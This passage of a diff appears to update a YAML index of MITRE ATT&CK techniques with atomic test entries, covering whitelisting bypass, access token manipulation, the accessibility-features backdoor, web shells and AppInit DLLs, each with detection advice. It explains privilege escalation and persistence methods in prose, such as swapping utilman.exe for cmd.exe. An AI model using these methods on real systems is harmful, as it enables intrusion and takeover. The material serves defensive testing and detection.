K. (2011, October 19). Introducing the Microsoft “Roslyn” + - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ + description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting + By Using dnx.exe. Retrieved May 25, 2017. + source_name: engima0x3 DNX Bypass + - url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ + description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn” CTP. Retrieved June 28, 2017. source_name: Microsoft Roslyn CPT RCSI - url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/ + - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ + description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting + By Using rcsi.exe. Retrieved May 26, 2017. + source_name: engima0x3 RCSI Bypass + - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index + description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, + KD, CDB, NTSD). Retrieved June 29, 2017. + source_name: Microsoft Debugging Tools for Windows + - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html + description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting + by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. + source_name: Exploit Monday WinDbg - description: "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." source_name: SubTee GitHub All The Things Application Whitelisting Bypass - - description: Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved + - url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking + description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November + 4). File Tracking. Retrieved November 1, 2017. + source_name: Microsoft Docs File Tracking + - url: https://twitter.com/subTee/status/793151392185589760 + description: Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017. source_name: Twitter SubTee Tracker.exe - url: https://twitter.com/subTee/status/793151392185589760 - - description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting - By Using dnx.exe. Retrieved May 25, 2017. - source_name: engima0x3 DNX Bypass - url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ - - description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting - By Using rcsi.exe. Retrieved May 26, 2017. - source_name: engima0x3 RCSI Bypass - url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:39.262Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Casey Smith + - Matthew Demaske, Adaptforward x_mitre_data_sources: - Process monitoring x_mitre_defense_bypassed: - Application whitelisting + x_mitre_detection: |- + The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + + Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. x_mitre_permissions_required: - User + x_mitre_remote_support: false + x_mitre_platforms: + - Windows x_mitre_system_requirements: - |- MSBuild: .NET Framework version 4 or higher DNX: .NET 4.5.2, Powershell 4.0 RCSI: .NET 4.5 or later, Visual Studio 2012 - x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - - Matthew Demaske, Adaptforward - id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:39.262Z' identifier: T1127 atomic_tests: - name: MSBuild Bypass Using Inline Tasks @@ -7784,37 +7871,39 @@ defense-evasion: privilege-escalation: T1134: technique: + id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Access Token Manipulation description: "Windows uses access tokens to determine the ownership of a running - process. A user can manipulate access tokens to make a running process appear + process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. - \ When this occurs, the process also takes on the security context associated - with the new token. For example, Microsoft promotes the use of access tokens - as a security best practice. Administrators should log in as a standard user + When this occurs, the process also takes on the security context associated + with the new token. For example, Microsoft promotes the use of access tokens + as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access - token manipulation command runas. (Citation: Microsoft runas)\n + token manipulation command runas. (Citation: Microsoft runas)\n \ \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing - processes; this is known as token stealing. An adversary must already be - in a privileged user context (i.e. administrator) to steal a token. However, + processes; this is known as token stealing. An adversary must already be in + a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three - methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token - Impersonation/Theft''' - An adversary creates a new access token that duplicates + methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token + Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the - target user has a non-network logon session on the system.\n\n'''Create Process - with a Token''' - An adversary creates a new access token with DuplicateToken(Ex) + target user has a non-network logon session on the system.\n\n**Create Process + with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful - for creating a new process under the security context of a different user.\n\n'''Make - and Impersonate Token''' - An adversary has a username and password but the + for creating a new process under the security context of a different user.\n\n**Make + and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can @@ -7822,91 +7911,89 @@ privilege-escalation: user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation - and uses token impersonation to escalate privileges. (Citation: Metasploit + and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation - and can also create tokens. (Citation: Cobalt Strike Access Token)\n\nDetection: - If an adversary is using a standard command-line shell, analysts can detect - token manipulation by auditing command-line activity. Specifically, analysts - should look for use of the runas command. Detailed command-line - logging is not enabled by default in Windows. (Citation: Microsoft Command-line - Logging)\n\nIf an adversary is using a payload that calls the Windows token - APIs directly, analysts can detect token manipulation only through careful - analysis of user network activity, examination of running processes, and correlation - with other endpoint and network behavior. \n\nThere are many Windows API - calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser - (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: - Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: - Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API - pages for more information.\n\nQuery systems for process and thread token - information and look for inconsistencies such as user owns processes impersonating - the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: - Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: - SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi - @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby - Winchester, @robwinchester3" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + and can also create tokens. (Citation: Cobalt Strike Access Token)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1134 + - external_id: T1134 + url: https://attack.mitre.org/techniques/T1134 source_name: mitre-attack - external_id: T1134 - - description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. + - url: https://technet.microsoft.com/en-us/library/bb490994.aspx + description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017. source_name: Microsoft runas - url: https://technet.microsoft.com/en-us/library/bb490994.aspx - - description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April - 21, 2017. - source_name: Pentestlab Token Manipulation - url: https://pentestlab.blog/2017/04/03/token-manipulation/ - - description: Offensive Security. (n.d.). What is Incognito. Retrieved April + - url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ + description: Offensive Security. (n.d.). What is Incognito. Retrieved April 21, 2017. source_name: Metasploit access token - url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/ - - description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. + - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + source_name: Microsoft LogonUser + - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + source_name: Microsoft DuplicateTokenEx + - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx + description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. + source_name: Microsoft ImpersonateLoggedOnUser + - url: https://pentestlab.blog/2017/04/03/token-manipulation/ + description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April + 21, 2017. + source_name: Pentestlab Token Manipulation + - url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ + description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017. source_name: Cobalt Strike Access Token - url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/ - - description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved + - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing + description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. source_name: Microsoft Command-line Logging - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - source_name: Microsoft LogonUser - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - source_name: Microsoft DuplicateTokenEx - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - - description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. - source_name: Microsoft ImpersonateLoggedOnUser - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - - description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is + - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf + description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' source_name: BlackHat Atkinson Winchester Token Manipulation - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Tom Ueltschi @c_APT_ure + - Travis Smith, Tripwire + - Robby Winchester, @robwinchester3 + - Jared Atkinson, @jaredcatkinson x_mitre_data_sources: - API monitoring - - Access Tokens - x_mitre_effective_permissions: - - SYSTEM + - Access tokens + - Process monitoring + - Process command-line parameters + x_mitre_detection: "If an adversary is using a standard command-line shell, + analysts can detect token manipulation by auditing command-line activity. + Specifically, analysts should look for use of the runas command. + Detailed command-line logging is not enabled by default in Windows. (Citation: + Microsoft Command-line Logging)\n\nIf an adversary is using a payload that + calls the Windows token APIs directly, analysts can detect token manipulation + only through careful analysis of user network activity, examination of running + processes, and correlation with other endpoint and network behavior. \n\nThere + are many Windows API calls a payload can take advantage of to manipulate access + tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx + (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser + (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced + Windows API pages for more information.\n\nQuery systems for process and thread + token information and look for inconsistencies such as user owns processes + impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester + Token Manipulation)" x_mitre_permissions_required: - User - Administrator - x_mitre_contributors: - - Tom Ueltschi @c_APT_ure - - Travis Smith, Tripwire - - Jared Atkinson, @jaredcatkinson - - Robby Winchester, @robwinchester3 - id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_effective_permissions: + - SYSTEM + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1134 atomic_tests: - name: Access Token Manipulation @@ -7932,6 +8019,8 @@ privilege-escalation: . .\src\T1134.ps1 T1015: technique: + id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Accessibility Features description: |- Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. @@ -7940,69 +8029,65 @@ privilege-escalation: Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods: - For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) + For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) - *On-Screen Keyboard: C:\Windows\System32\osk.exe - *Magnifier: C:\Windows\System32\Magnify.exe - *Narrator: C:\Windows\System32\Narrator.exe - *Display Switcher: C:\Windows\System32\DisplaySwitch.exe - *App Switcher: C:\Windows\System32\AtBroker.exe - - Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. - - Platforms: Windows - - Data Sources: Windows Registry, File monitoring, Process monitoring - - Effective Permissions: SYSTEM - - Permissions Required: Administrator - - Contributors: Paul Speulstra, AECOM Global Security Operations Center - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + * On-Screen Keyboard: C:\Windows\System32\osk.exe + * Magnifier: C:\Windows\System32\Magnify.exe + * Narrator: C:\Windows\System32\Narrator.exe + * Display Switcher: C:\Windows\System32\DisplaySwitch.exe + * App Switcher: C:\Windows\System32\AtBroker.exe external_references: - - url: https://attack.mitre.org/wiki/Technique/T1015 + - external_id: T1015 + url: https://attack.mitre.org/techniques/T1015 source_name: mitre-attack - external_id: T1015 - - description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: + - external_id: CAPEC-558 + url: https://capec.mitre.org/data/definitions/558.html + source_name: capec + - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ + description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. + Retrieved November 12, 2014. + source_name: Tilbury 2014 + - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html + description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' source_name: FireEye Hikit Rootkit - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - - description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to + - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom + description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017. source_name: DEFCON2016 Sticky Keys - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - - description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. - Retrieved November 12, 2014. - source_name: Tilbury 2014 - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:26.946Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Paul Speulstra, AECOM Global Security Operations Center x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring + x_mitre_detection: Changes to accessibility utility binaries or binary paths + that do not correlate with known software, patch cycles, etc., are suspicious. + Command line invocation of tools capable of modifying the Registry for associated + keys are also suspicious. Utility arguments and the binaries themselves should + be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options. x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - x_mitre_contributors: - - Paul Speulstra, AECOM Global Security Operations Center - id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:26.946Z' identifier: T1015 atomic_tests: - name: Attaches Command Prompt As Debugger To Process - osk @@ -8133,142 +8218,126 @@ privilege-escalation: ' '': technique: + id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Web Shell description: |- A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) - Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed. - - Detection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) - - - - Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) - - Platforms: Linux, macOS, Windows - - Data Sources: Anti-virus, File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow - - Effective Permissions: User, SYSTEM - - System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file. - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1100 + - external_id: T1100 + url: https://attack.mitre.org/techniques/T1100 source_name: mitre-attack - external_id: T1100 - - description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down + - url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html + description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015. source_name: Lee 2013 - url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html - - description: US-CERT. (2015, November 13). Compromised Web Servers and Web + - url: https://www.us-cert.gov/ncas/alerts/TA15-314A + description: US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. source_name: US-CERT Alert TA15-314A Web Shells - url: https://www.us-cert.gov/ncas/alerts/TA15-314A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:13.061Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Anti-virus - - File monitoring - - Process monitoring - Authentication logs + - File monitoring - Netflow/Enclave netflow + - Process monitoring + x_mitre_detection: |- + Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) + + + + Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) x_mitre_effective_permissions: - - User - SYSTEM + - User + x_mitre_platforms: + - Linux + - Windows + - macOS x_mitre_system_requirements: - Adversary access to Web server with vulnerability or account to upload and serve the Web shell file. - id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:13.061Z' atomic_tests: [] T1103: technique: + id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: AppInit DLLs - description: "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs - value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows - NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows - NT\\CurrentVersion\\Windows are loaded by user32.dll into every process - that loads user32.dll. In practice this is nearly every program, since user32.dll - is a very common library. (Citation: Engame Process Injection July 2017) Similar - to Process Injection, these values can be abused to obtain persistence and - privilege escalation by causing a malicious DLL to be loaded and run in the - context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe - AppInit DLL functionality is disabled in Windows 8 and later versions when - secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor - DLL loads by processes that load user32.dll and look for DLLs that are not - recognized or not normally loaded into a process. Monitor the AppInit_DLLs - Registry values for modifications that do not correlate with known software, - patch cycles, etc. Monitor and analyze application programming interface (API) - calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. - (Citation: Engame Process Injection July 2017) Tools such as Sysinternals - Autoruns may also be used to detect system changes that could be attempts - at persistence, including listing current AppInit DLLs. (Citation: TechNet - Autoruns) \n\nLook for abnormal process behavior that may be due to a process - loading a malicious DLL. Data and events should not be viewed in isolation, - but as part of a chain of behavior that could lead to other activities, such - as making network connections for Command and Control, learning details about - the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: - Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective - Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem - Requirements: Secure boot disabled on systems running Windows 8 and later" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + description: |- + Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) + + The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1103 + - external_id: T1103 + url: https://attack.mitre.org/techniques/T1103 source_name: mitre-attack - external_id: T1103 - - description: Microsoft. (2006, October). Working with the AppInit_DLLs registry + - url: https://support.microsoft.com/en-us/kb/197571 + description: Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015. source_name: AppInit Registry - url: https://support.microsoft.com/en-us/kb/197571 - - description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July + - url: https://msdn.microsoft.com/en-us/library/dn280412 + description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015. source_name: AppInit Secure Boot - url: https://msdn.microsoft.com/en-us/library/dn280412 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:15.409Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Loaded DLLs - Process monitoring - Windows Registry + x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and + look for DLLs that are not recognized or not normally loaded into a process. + Monitor the AppInit_DLLs Registry values for modifications that do not correlate + with known software, patch cycles, etc. Monitor and analyze application programming + interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx + and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such + as Sysinternals Autoruns may also be used to detect system changes that could + be attempts at persistence, including listing current AppInit DLLs. (Citation: + TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to + a process loading a malicious DLL. Data and events should not be viewed in + isolation, but as part of a chain of behavior that could lead to other activities, + such as making network connections for Command and Control, learning details + about the environment through Discovery, and conducting Lateral Movement." x_mitre_effective_permissions: - Administrator - SYSTEM x_mitre_permissions_required: - Administrator + x_mitre_platforms: + - Windows x_mitre_system_requirements: - Secure boot disabled on systems running Windows 8 and later - id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - 